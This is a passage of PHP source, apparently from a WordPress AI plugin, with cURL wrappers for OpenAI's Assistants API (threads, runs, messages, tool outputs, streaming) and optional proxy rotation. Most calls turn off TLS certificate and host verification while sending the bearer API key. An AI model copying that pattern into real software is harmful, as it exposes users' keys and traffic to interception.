aiomatic_openai_create_thread_and_run($token, $assistant_id, $thread = null, $model = null, $instructions = null, $tools = [], $metadata = null, $file_data = '') { if (empty($metadata)) { $metadata = new stdClass(); } if (empty($assistant_id)) { throw new Exception('Assistant ID cannot be empty'); } $url = "https://api.openai.com/v1/threads/runs"; $headers = [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'assistant_id' => $assistant_id ]; if($file_data != '') { $postData['tool_resources'] = [ 'file_search' => [ 'vector_store_ids' => [$file_data] ] ]; } if(!empty($thread)) { $postData['thread'] = $thread; } if ($model !== null) { $postData['model'] = $model; } if ($instructions !== null) { $postData['instructions'] = $instructions; } if (!empty($tools)) { $postData['tools'] = $tools; } if (!empty($metadata)) { $postData['metadata'] = $metadata; } if(isset($aiomatic_Main_Settings['assist_max_prompt_token']) && $aiomatic_Main_Settings['assist_max_prompt_token'] != '') { $postData['max_prompt_tokens'] = intval($aiomatic_Main_Settings['assist_max_prompt_token']); } if(isset($aiomatic_Main_Settings['assist_max_completion_token']) && $aiomatic_Main_Settings['assist_max_completion_token'] != '') { $postData['max_completion_tokens'] = intval($aiomatic_Main_Settings['assist_max_completion_token']); } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create thread rund request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_create_message($token, $thread_id, $role, $content, $metadata = null, $vision_file = '') { if (empty($metadata)) { $metadata = new stdClass(); } if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($role)) { throw new Exception('Role cannot be empty'); } if (empty($content)) { throw new Exception('Content cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/messages"; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } if($vision_file != '' && $role == 'user') { $base64_vision = ''; $xcopy = $content; if(stristr($vision_file, 'http://localhost/') || stristr($vision_file, 'https://localhost/')) { $base64_vision = aiomatic_get_base64_from_url($vision_file); } if(!empty($base64_vision)) { $xacontent = [ [ "type" => "text", "text" => $xcopy ], [ "type" => "image_url", "image_url" => [ "url" => "data:image/jpeg;base64," . $base64_vision, "detail" => "low" ] ] ]; } else { $xacontent = [ [ "type" => "text", "text" => $xcopy ], [ "type" => "image_url", "image_url" => [ "url" => $vision_file, "detail" => "low" ] ] ]; } $content = $xacontent; } $postData = [ 'role' => $role, 'content' => $content, 'metadata' => $metadata ]; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create message request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_submit_tool_outputs_to_run($token, $thread_id, $run_id, $tool_outputs) { if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($run_id)) { throw new Exception('Run ID cannot be empty'); } if (empty($tool_outputs)) { throw new Exception('Tool outputs cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/runs/" . $run_id . "/submit_tool_outputs"; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'tool_outputs' => $tool_outputs ]; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } $encoded = json_encode($postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $encoded); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP submit tool output request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_submit_tool_outputs_to_stream_run($token, $thread_id, $run_id, $tool_outputs) { if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($run_id)) { throw new Exception('Run ID cannot be empty'); } if (empty($tool_outputs)) { throw new Exception('Tool outputs cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/runs/" . $run_id . "/submit_tool_outputs"; $headers = [ 'Content-Type: application/json', 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'tool_outputs' => $tool_outputs, 'stream' => true ]; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_WRITEFUNCTION, function ($curl_info, $data) { $my_copy_data = trim($data); $prefix = 'data: '; if (substr($my_copy_data, 0, strlen($prefix)) == $prefix) { $my_copy_data = substr($my_copy_data, strlen($prefix)); } $suffix = 'data: [DONE]'; $needle_length = strlen($suffix); if (substr($my_copy_data, -$needle_length) === $suffix) { $my_copy_data = substr($my_copy_data, 0, -$needle_length); } $my_copy_data = trim($my_copy_data); $response = json_decode($my_copy_data, true); if (isset($response['error']) && !empty($response['error'])) { $message = isset($response['error']['message']) && !empty($response['error']['message']) ? $response['error']['message'] : ''; if (empty($message) && isset($response['error']['code']) && $response['error']['code'] == 'invalid_api_key') { $message = "Incorrect API key provided. You can find your API key at https://platform.openai.com/account/api-keys."; } echo "event: message\n"; echo 'data: {"error":[{"message":"' . $message . '"}]}'; echo "\n\n"; $l1 = ob_get_length(); if($l1 === false) { $l1 = 0; } if (ob_get_length()) { ob_end_flush(); } flush(); echo 'data: {"choices":[{"finish_reason":"stop"}]}'; echo "\n\n"; $l2 = ob_get_length(); if($l2 === false) { $l2 = 0; } if (ob_get_length()) { ob_end_flush(); } flush(); return $l1 + $l2; } else { echo $data; if (ob_get_length()) { ob_flush(); } flush(); return strlen($data); } }); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP streamed tool output submit request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_retrieve_run($token, $thread_id, $run_id) { if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($run_id)) { throw new Exception('Run ID cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/runs/" . $run_id; $headers = [ 'Authorization: Bearer ' . $token, 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP retrieve run request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_create_run($token, $thread_id, $assistant_id, $model = null, $instructions = null, $tools = [], $metadata = null) { if (empty($metadata)) { $metadata = new stdClass(); } if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($assistant_id)) { throw new Exception('Assistant ID cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/runs"; $headers = [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'assistant_id' => $assistant_id ]; if ($model !== null) { $postData['model'] = $model; } if ($instructions !== null) { $postData['instructions'] = $instructions; } if (!empty($tools)) { $postData['tools'] = $tools; } if (!empty($metadata)) { $postData['metadata'] = $metadata; } if(isset($aiomatic_Main_Settings['assist_max_prompt_token']) && $aiomatic_Main_Settings['assist_max_prompt_token'] != '') { $postData['max_prompt_tokens'] = intval($aiomatic_Main_Settings['assist_max_prompt_token']); } if(isset($aiomatic_Main_Settings['assist_max_completion_token']) && $aiomatic_Main_Settings['assist_max_completion_token'] != '') { $postData['max_completion_tokens'] = intval($aiomatic_Main_Settings['assist_max_completion_token']); } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create run request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_create_stream_run($token, $thread_id, $assistant_id, $model = null, $instructions = null, $tools = [], $metadata = null) { if (empty($metadata)) { $metadata = new stdClass(); } if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($assistant_id)) { throw new Exception('Assistant ID cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/runs"; $headers = [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $postData = [ 'assistant_id' => $assistant_id ]; if ($model !== null) { $postData['model'] = $model; } if ($instructions !== null) { $postData['instructions'] = $instructions; } if (!empty($tools)) { $postData['tools'] = $tools; } if (!empty($metadata)) { $postData['metadata'] = $metadata; } if(isset($aiomatic_Main_Settings['assist_max_prompt_token']) && $aiomatic_Main_Settings['assist_max_prompt_token'] != '') { $postData['max_prompt_tokens'] = intval($aiomatic_Main_Settings['assist_max_prompt_token']); } if(isset($aiomatic_Main_Settings['assist_max_completion_token']) && $aiomatic_Main_Settings['assist_max_completion_token'] != '') { $postData['max_completion_tokens'] = intval($aiomatic_Main_Settings['assist_max_completion_token']); } $postData['stream'] = true; $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($postData)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_WRITEFUNCTION, function ($curl_info, $data) { $my_copy_data = trim($data); $prefix = 'data: '; if (substr($my_copy_data, 0, strlen($prefix)) == $prefix) { $my_copy_data = substr($my_copy_data, strlen($prefix)); } $suffix = 'data: [DONE]'; $needle_length = strlen($suffix); if (substr($my_copy_data, -$needle_length) === $suffix) { $my_copy_data = substr($my_copy_data, 0, -$needle_length); } $my_copy_data = trim($my_copy_data); $response = json_decode($my_copy_data, true); if (isset($response['error']) && !empty($response['error'])) { $message = isset($response['error']['message']) && !empty($response['error']['message']) ? $response['error']['message'] : ''; if (empty($message) && isset($response['error']['code']) && $response['error']['code'] == 'invalid_api_key') { $message = "Incorrect API key provided. You can find your API key at https://platform.openai.com/account/api-keys."; } echo "event: message\n"; echo 'data: {"error":[{"message":"' . $message . '"}]}'; echo "\n\n"; $l1 = ob_get_length(); if($l1 === false) { $l1 = 0; } if (ob_get_length()) { ob_end_flush(); } flush(); echo 'data: {"choices":[{"finish_reason":"stop"}]}'; echo "\n\n"; $l2 = ob_get_length(); if($l2 === false) { $l2 = 0; } if (ob_get_length()) { ob_end_flush(); } flush(); return $l1 + $l2; } else { echo $data; if (ob_get_length()) { ob_flush(); } flush(); return strlen($data); } }); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP create stream run request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_retrieve_run_step($token, $thread_id, $run_id, $step_id) { if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($run_id)) { throw new Exception('Run ID cannot be empty'); } if (empty($step_id)) { throw new Exception('Step ID cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/runs/" . $run_id . "/steps/" . $step_id; $headers = [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP retrieve run step request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_retrieve_message($token, $thread_id, $message_id) { if (empty($thread_id)) { throw new Exception('Thread ID cannot be empty'); } if (empty($message_id)) { throw new Exception('Message ID cannot be empty'); } $url = "https://api.openai.com/v1/threads/" . $thread_id . "/messages/" . $message_id; $headers = [ 'Authorization: Bearer ' . $token, 'Content-Type: application/json', 'OpenAI-Beta: assistants=v2' ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL session'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt($ch, CURLOPT_PROXY , trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt($ch, CURLOPT_PROXYUSERPWD , trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception('cURL error: ' . $error); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($httpCode != 200) { $error = curl_error($ch); curl_close($ch); $jsdec = json_decode($response, true); throw new Exception("HTTP retrieve message request failed with status code " . $httpCode . (isset($jsdec['error']['message']) ? ', error: ' . $jsdec['error']['message'] : '')); } curl_close($ch); return json_decode($response, true); } function aiomatic_openai_list_messages($token, $thread_id, $limit = 20, $order = 'desc', $after = null, $before = null) { if (empty($thread_id)) { throw new Exception('Thread ID is required'); } $queryParams = http_build_query([ 'limit' => $limit, 'order' => $order, 'after' => $after, 'before' => $before ]); $url = "https://api.openai.com/v1/threads/" . $thread_id . "/messages?" . $queryParams; $headers = [ "Content-Type: application/json", "Authorization: Bearer " . $token, "OpenAI-Beta: assistants=v2" ]; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $headers['OpenAI-Organization'] = $aiomatic_Main_Settings['openai_organization']; } $ch = curl_init($url); if ($ch === false) { throw new Exception('Failed to initialize cURL'); } if (isset($aiomatic_Main_Settings['proxy_ai']) && $aiomatic_Main_Settings['proxy_ai'] == 'on' && isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && 